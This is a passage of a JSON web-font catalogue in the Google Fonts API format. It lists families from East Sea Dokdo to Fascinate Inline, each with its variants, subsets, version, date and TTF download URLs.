Dokdo","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/eastseadokdo/v8/xfuo0Wn2V2_KanASqXSZp22m05_aGavYS18y.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Eater","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/eater/v9/mtG04_FCK7bOvpu2u3FwsXsR.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Economica","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/economica/v8/Qw3fZQZaHCLgIWa29ZBrMcgAAl1lfQ.ttf","italic":"http://fonts.gstatic.com/s/economica/v8/Qw3ZZQZaHCLgIWa29ZBbM8IEIFh1fWUl.ttf","700":"http://fonts.gstatic.com/s/economica/v8/Qw3aZQZaHCLgIWa29ZBTjeckCnZ5dHw8iw.ttf","700italic":"http://fonts.gstatic.com/s/economica/v8/Qw3EZQZaHCLgIWa29ZBbM_q4D3x9Vnksi4M7.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Eczar","variants":["regular","500","600","700","800"],"subsets":["devanagari","latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/eczar/v9/BXRlvF3Pi-DLmw0iBu9y8Hf0.ttf","500":"http://fonts.gstatic.com/s/eczar/v9/BXRovF3Pi-DLmzXWL8t622v9WNjW.ttf","600":"http://fonts.gstatic.com/s/eczar/v9/BXRovF3Pi-DLmzX6KMt622v9WNjW.ttf","700":"http://fonts.gstatic.com/s/eczar/v9/BXRovF3Pi-DLmzWeKct622v9WNjW.ttf","800":"http://fonts.gstatic.com/s/eczar/v9/BXRovF3Pi-DLmzWCKst622v9WNjW.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"El Messiri","variants":["regular","500","600","700"],"subsets":["arabic","cyrillic","latin"],"version":"v8","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/elmessiri/v8/K2F0fZBRmr9vQ1pHEey6AoqKAyLzfWo.ttf","500":"http://fonts.gstatic.com/s/elmessiri/v8/K2F3fZBRmr9vQ1pHEey6On6jJyrYYWOMluQ.ttf","600":"http://fonts.gstatic.com/s/elmessiri/v8/K2F3fZBRmr9vQ1pHEey6OlKkJyrYYWOMluQ.ttf","700":"http://fonts.gstatic.com/s/elmessiri/v8/K2F3fZBRmr9vQ1pHEey6OjalJyrYYWOMluQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Electrolize","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/electrolize/v9/cIf5Ma1dtE0zSiGSiED7AUEGso5tQafB.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Elsie","variants":["regular","900"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/elsie/v11/BCanqZABrez54yYu9slAeLgX.ttf","900":"http://fonts.gstatic.com/s/elsie/v11/BCaqqZABrez54x6q2-1IU6QeXSBk.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Elsie Swash Caps","variants":["regular","900"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/elsieswashcaps/v9/845DNN8xGZyVX5MVo_upKf7KnjK0ferVKGWsUo8.ttf","900":"http://fonts.gstatic.com/s/elsieswashcaps/v9/845ENN8xGZyVX5MVo_upKf7KnjK0RW74DG2HToawrdU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Emblema One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/emblemaone/v9/nKKT-GQ0F5dSY8vzG0rOEIRBHl57G_f_.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Emilys Candy","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/emilyscandy/v8/2EbgL-1mD1Rnb0OGKudbk0y5r9xrX84JjA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Encode Sans","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v7","lastModified":"2020-07-29","files":{"100":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGGHiZtWP7FJCt2c.ttf","200":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGOHjZtWP7FJCt2c.ttf","300":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGD_jZtWP7FJCt2c.ttf","regular":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGGHjZtWP7FJCt2c.ttf","500":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGFPjZtWP7FJCt2c.ttf","600":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGL_kZtWP7FJCt2c.ttf","700":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGIbkZtWP7FJCt2c.ttf","800":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGOHkZtWP7FJCt2c.ttf","900":"http://fonts.gstatic.com/s/encodesans/v7/LDIcapOFNxEwR-Bd1O9uYNmnUQomAgE25imKSbHhROjLsZBWTSrQGMjkZtWP7FJCt2c.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Encode Sans Condensed","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_76_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-5a-JLQoFI2KR.ttf","200":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-SY6pByQJKnuIFA.ttf","300":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-LY2pByQJKnuIFA.ttf","regular":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_16_LD37rqfuwxyIuaZhE6cRXOLtm2gfTGgaWNDw8VIw.ttf","500":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-dYypByQJKnuIFA.ttf","600":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-WYupByQJKnuIFA.ttf","700":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-PYqpByQJKnuIFA.ttf","800":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-IYmpByQJKnuIFA.ttf","900":"http://fonts.gstatic.com/s/encodesanscondensed/v5/j8_46_LD37rqfuwxyIuaZhE6cRXOLtm2gfT-BYipByQJKnuIFA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Encode Sans Expanded","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4mx1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpJGKQNicoAbJlw.ttf","200":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpLqCCNIXIwSP0XD.ttf","300":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKOCyNIXIwSP0XD.ttf","regular":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4m_1mF4GcnstG_Jh1QH6ac4hNLeNyeYUqoiIwdAd5Ab.ttf","500":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpLWCiNIXIwSP0XD.ttf","600":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpL6DSNIXIwSP0XD.ttf","700":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKeDCNIXIwSP0XD.ttf","800":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKCDyNIXIwSP0XD.ttf","900":"http://fonts.gstatic.com/s/encodesansexpanded/v5/c4mw1mF4GcnstG_Jh1QH6ac4hNLeNyeYUpKmDiNIXIwSP0XD.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Encode Sans Semi Condensed","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT6oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1T19MFtQ9jpVUA.ttf","200":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1RZ1eFHbdTgTFmr.ttf","300":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Q91uFHbdTgTFmr.ttf","regular":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT4oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG2yR_sVPRsjp.ttf","500":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Rl1-FHbdTgTFmr.ttf","600":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1RJ0OFHbdTgTFmr.ttf","700":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Qt0eFHbdTgTFmr.ttf","800":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1Qx0uFHbdTgTFmr.ttf","900":"http://fonts.gstatic.com/s/encodesanssemicondensed/v5/3qT7oiKqnDuUtQUEHMoXcmspmy55SFWrXFRp9FTOG1QV0-FHbdTgTFmr.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Encode Sans Semi Expanded","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke8xOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM-41KwrlKXeOEA.ttf","200":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM0IUCyDLJX6XCWU.ttf","300":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMyYXCyDLJX6XCWU.ttf","regular":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke83OhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TC4o_LyjgOXc.ttf","500":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM34WCyDLJX6XCWU.ttf","600":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TM1IRCyDLJX6XCWU.ttf","700":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMzYQCyDLJX6XCWU.ttf","800":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMyoTCyDLJX6XCWU.ttf","900":"http://fonts.gstatic.com/s/encodesanssemiexpanded/v6/ke8yOhAPMEZs-BDuzwftTNJ85JvwMOzE9d9Cca5TMw4SCyDLJX6XCWU.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Engagement","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/engagement/v10/x3dlckLDZbqa7RUs9MFVXNossybsHQI.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Englebert","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/englebert/v8/xn7iYH8w2XGrC8AR4HSxT_fYdN-WZw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Enriqueta","variants":["regular","500","600","700"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/enriqueta/v10/goksH6L7AUFrRvV44HVTS0CjkP1Yog.ttf","500":"http://fonts.gstatic.com/s/enriqueta/v10/gokpH6L7AUFrRvV44HVrv2mHmNZEq6TTFw.ttf","600":"http://fonts.gstatic.com/s/enriqueta/v10/gokpH6L7AUFrRvV44HVrk26HmNZEq6TTFw.ttf","700":"http://fonts.gstatic.com/s/enriqueta/v10/gokpH6L7AUFrRvV44HVr92-HmNZEq6TTFw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Epilogue","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OXMDLiDJXVigHPVA.ttf","200":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OXsDPiDJXVigHPVA.ttf","300":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OXbjPiDJXVigHPVA.ttf","regular":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OXMDPiDJXVigHPVA.ttf","500":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OXAjPiDJXVigHPVA.ttf","600":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OX7jTiDJXVigHPVA.ttf","700":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OX1zTiDJXVigHPVA.ttf","800":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OXsDTiDJXVigHPVA.ttf","900":"http://fonts.gstatic.com/s/epilogue/v2/O4ZMFGj5hxF0EhjimngomvnCCtqb30OXmTTiDJXVigHPVA.ttf","100italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HAKTp_RqATfVHNU.ttf","200italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HCKT5_RqATfVHNU.ttf","300italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HBUT5_RqATfVHNU.ttf","italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HAKT5_RqATfVHNU.ttf","500italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HA4T5_RqATfVHNU.ttf","600italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HDUSJ_RqATfVHNU.ttf","700italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HDtSJ_RqATfVHNU.ttf","800italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HCKSJ_RqATfVHNU.ttf","900italic":"http://fonts.gstatic.com/s/epilogue/v2/O4ZCFGj5hxF0EhjimlIhqAYaY7EBcUSC-HCjSJ_RqATfVHNU.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Erica One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ericaone/v11/WBLnrEXccV9VGrOKmGD1W0_MJMGxiQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Esteban","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/esteban/v9/r05bGLZE-bdGdN-GdOuD5jokU8E.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Euphoria Script","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/euphoriascript/v9/mFTpWb0X2bLb_cx6To2B8GpKoD5ak_ZT1D8x7Q.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Ewert","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/ewert/v8/va9I4kzO2tFODYBvS-J3kbDP.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Exo","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v11","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4lM2CwNsOl4p5Is.ttf","200":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4tM3CwNsOl4p5Is.ttf","300":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4g03CwNsOl4p5Is.ttf","regular":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4lM3CwNsOl4p5Is.ttf","500":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4mE3CwNsOl4p5Is.ttf","600":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4o0wCwNsOl4p5Is.ttf","700":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4rQwCwNsOl4p5Is.ttf","800":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4tMwCwNsOl4p5Is.ttf","900":"http://fonts.gstatic.com/s/exo/v11/4UaZrEtFpBI4f1ZSIK9d4LjJ4vowCwNsOl4p5Is.ttf","100italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t040FmPnws9Iu-uA.ttf","200italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t0Y0BmPnws9Iu-uA.ttf","300italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t0vUBmPnws9Iu-uA.ttf","italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t040BmPnws9Iu-uA.ttf","500italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t00UBmPnws9Iu-uA.ttf","600italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t0PUdmPnws9Iu-uA.ttf","700italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t0BEdmPnws9Iu-uA.ttf","800italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t0Y0dmPnws9Iu-uA.ttf","900italic":"http://fonts.gstatic.com/s/exo/v11/4UafrEtFpBISdmSt-MY2ehbO95t0SkdmPnws9Iu-uA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Exo 2","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v9","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8jvvOcPtq-rpvLpQ.ttf","200":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8jPvKcPtq-rpvLpQ.ttf","300":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8j4PKcPtq-rpvLpQ.ttf","regular":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8jvvKcPtq-rpvLpQ.ttf","500":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8jjPKcPtq-rpvLpQ.ttf","600":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8jYPWcPtq-rpvLpQ.ttf","700":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8jWfWcPtq-rpvLpQ.ttf","800":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8jPvWcPtq-rpvLpQ.ttf","900":"http://fonts.gstatic.com/s/exo2/v9/7cH1v4okm5zmbvwkAx_sfcEuiD8jF_WcPtq-rpvLpQ.ttf","100italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drF0fNC6jJ7bpQBL.ttf","200italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drH0fdC6jJ7bpQBL.ttf","300italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drEqfdC6jJ7bpQBL.ttf","italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drF0fdC6jJ7bpQBL.ttf","500italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drFGfdC6jJ7bpQBL.ttf","600italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drGqetC6jJ7bpQBL.ttf","700italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drGTetC6jJ7bpQBL.ttf","800italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drH0etC6jJ7bpQBL.ttf","900italic":"http://fonts.gstatic.com/s/exo2/v9/7cH3v4okm5zmbtYtMeA0FKq0Jjg2drHdetC6jJ7bpQBL.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Expletus Sans","variants":["regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/expletussans/v14/RLp5K5v5_bqufTYdnhFzDj2dRfkSu6EuTHo.ttf","italic":"http://fonts.gstatic.com/s/expletussans/v14/RLpnK5v5_bqufTYdnhFzDj2ddfsYv4MrXHrRDA.ttf","500":"http://fonts.gstatic.com/s/expletussans/v14/RLpkK5v5_bqufTYdnhFzDj2dfQ07n6kFUHPIFaU.ttf","500italic":"http://fonts.gstatic.com/s/expletussans/v14/RLpiK5v5_bqufTYdnhFzDj2ddfsgS6oPVFHNBaVImA.ttf","600":"http://fonts.gstatic.com/s/expletussans/v14/RLpkK5v5_bqufTYdnhFzDj2dfSE8n6kFUHPIFaU.ttf","600italic":"http://fonts.gstatic.com/s/expletussans/v14/RLpiK5v5_bqufTYdnhFzDj2ddfsgZ60PVFHNBaVImA.ttf","700":"http://fonts.gstatic.com/s/expletussans/v14/RLpkK5v5_bqufTYdnhFzDj2dfUU9n6kFUHPIFaU.ttf","700italic":"http://fonts.gstatic.com/s/expletussans/v14/RLpiK5v5_bqufTYdnhFzDj2ddfsgA6wPVFHNBaVImA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fahkwang","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/fahkwang/v4/Noa26Uj3zpmBOgbNpOJHmZlRFipxkwjx.ttf","200italic":"http://fonts.gstatic.com/s/fahkwang/v4/Noa06Uj3zpmBOgbNpOqNgHFQHC5Tlhjxdw4.ttf","300":"http://fonts.gstatic.com/s/fahkwang/v4/Noa26Uj3zpmBOgbNpOIjmplRFipxkwjx.ttf","300italic":"http://fonts.gstatic.com/s/fahkwang/v4/Noa06Uj3zpmBOgbNpOqNgBVTHC5Tlhjxdw4.ttf","regular":"http://fonts.gstatic.com/s/fahkwang/v4/Noax6Uj3zpmBOgbNpNqPsr1ZPTZ4.ttf","italic":"http://fonts.gstatic.com/s/fahkwang/v4/Noa36Uj3zpmBOgbNpOqNuLl7OCZ4ihE.ttf","500":"http://fonts.gstatic.com/s/fahkwang/v4/Noa26Uj3zpmBOgbNpOJ7m5lRFipxkwjx.ttf","500italic":"http://fonts.gstatic.com/s/fahkwang/v4/Noa06Uj3zpmBOgbNpOqNgE1SHC5Tlhjxdw4.ttf","600":"http://fonts.gstatic.com/s/fahkwang/v4/Noa26Uj3zpmBOgbNpOJXnJlRFipxkwjx.ttf","600italic":"http://fonts.gstatic.com/s/fahkwang/v4/Noa06Uj3zpmBOgbNpOqNgGFVHC5Tlhjxdw4.ttf","700":"http://fonts.gstatic.com/s/fahkwang/v4/Noa26Uj3zpmBOgbNpOIznZlRFipxkwjx.ttf","700italic":"http://fonts.gstatic.com/s/fahkwang/v4/Noa06Uj3zpmBOgbNpOqNgAVUHC5Tlhjxdw4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Fanwood Text","variants":["regular","italic"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fanwoodtext/v10/3XFtErwl05Ad_vSCF6Fq7xXGRdbY1P1Sbg.ttf","italic":"http://fonts.gstatic.com/s/fanwoodtext/v10/3XFzErwl05Ad_vSCF6Fq7xX2R9zc9vhCblye.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Farro","variants":["300","regular","500","700"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/farro/v2/i7dJIFl3byGNHa3hNJ6-WkJUQUq7.ttf","regular":"http://fonts.gstatic.com/s/farro/v2/i7dEIFl3byGNHZVNHLq2cV5d.ttf","500":"http://fonts.gstatic.com/s/farro/v2/i7dJIFl3byGNHa25NZ6-WkJUQUq7.ttf","700":"http://fonts.gstatic.com/s/farro/v2/i7dJIFl3byGNHa3xM56-WkJUQUq7.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Farsan","variants":["regular"],"subsets":["gujarati","latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/farsan/v6/VEMwRoJ0vY_zsyz62q-pxDX9rQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fascinate","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fascinate/v9/z7NWdRrufC8XJK0IIEli1LbQRPyNrw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Fascinate Inline","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/fascinateinline/v10/jVyR7mzzB3zc-jp6QCAu60poNqIy1g3CfRXxWZQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Faster 